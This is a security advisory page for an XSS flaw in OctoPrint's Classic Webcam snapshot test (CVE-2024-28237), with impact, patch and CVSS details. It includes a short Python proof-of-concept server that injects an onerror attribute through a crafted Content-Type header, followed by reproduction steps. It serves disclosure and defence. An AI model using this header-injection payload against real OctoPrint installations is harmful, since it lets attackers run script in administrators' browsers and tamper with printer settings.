Medium

XSS via the "Snapshot Test" feature in Classic Webcam plugin settings

  • Disclosed: 18.03.2024
  • Updated: 11.10.2026 12:20

Impact

OctoPrint versions up until and including 1.9.3 contain a vulnerability that allows malicious admins to configure or talk a victim with administrator rights into configuring a webcam snapshot URL which when tested through the "Test" button included in the web interface will execute JavaScript code in the victims browser when attempting to render the snapshot image.

An attacker who successfully talked a victim with admin rights into performing a snapshot test with such a crafted URL could use this to retrieve or modify sensitive configuration settings, interrupt prints or otherwise interact with the OctoPrint instance in a malicious way.

Patches

The vulnerability will be patched in version 1.10.0.

Workaround

OctoPrint administrators are strongly advised to thoroughly vet who has admin access to their installation and what settings they modify based on instructions by strangers.

PoC

Below are the steps to reproduce the vulnerability:

  1. Create a URL that responds with a malicious content type. For example, creating the following python script:

    python
    from http.server import BaseHTTPRequestHandler, HTTPServer
    
    class MyHTTPRequestHandler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(200)
            self.send_header('Content-Type', 'image/"onerror="alert(1)"')
            self.end_headers()
            self.wfile.write(b'Ok')
    
    def run():
        server_address = ('', 8080)
        httpd = HTTPServer(server_address, MyHTTPRequestHandler)
        print('Server listening on 0.0.0.0:8080...')
        httpd.serve_forever()
    
    if __name__ == '__main__':
        run()
  2. Go to OctoPrint settings --> Plugins --> Classic Webcam and enter the URL of that page as the Snapshot URL.

  3. Click on the "Test" button to trigger XSS. A Javascript alert should appear, demonstrating the actual code injection.

Credits

This vulnerability was discovered and responsibly disclosed to OctoPrint by Jacopo Tediosi.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) octoprint < 1.10.0rc3 1.10.0rc3

References

CVSS score 4/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L
Weakness (CWE)
CWE-79
Platform
Python (PyPI)
Package
octoprint
Disclosed
18.03.2024
Updated
11.10.2026 12:20

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2024-179 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-x7mf-wrh9-r76c - CC BY 4.0

Vulnerability history: octoprint

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (24) in the archive
Total entries
24
First → latest
05.2021 06.2026
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 8
  • Medium 13
  • Low 2

Disclosures per year

  1. 2021: 2
  2. 2022: 8
  3. 2023: 1
  4. 2024: 5
  5. 2025: 5
  6. 2026: 3
Severity:
  1. High CVE-2026-54134 < 1.11.8, >= 2.0.0rc1, < 2.0.0rc3 1.11.8, 2.0.0rc3
  2. XSS via the "Snapshot Test" feature in Classic Webcam plugin settings this entry
    Medium · 4.0 CVE-2024-28237 < 1.10.0rc3 1.10.0rc3
  3. High · 7.5 CVE-2022-1432 < 1.8.0 1.8.0
  4. High · 7.5 CVE-2022-1430 < 1.8.0 1.8.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.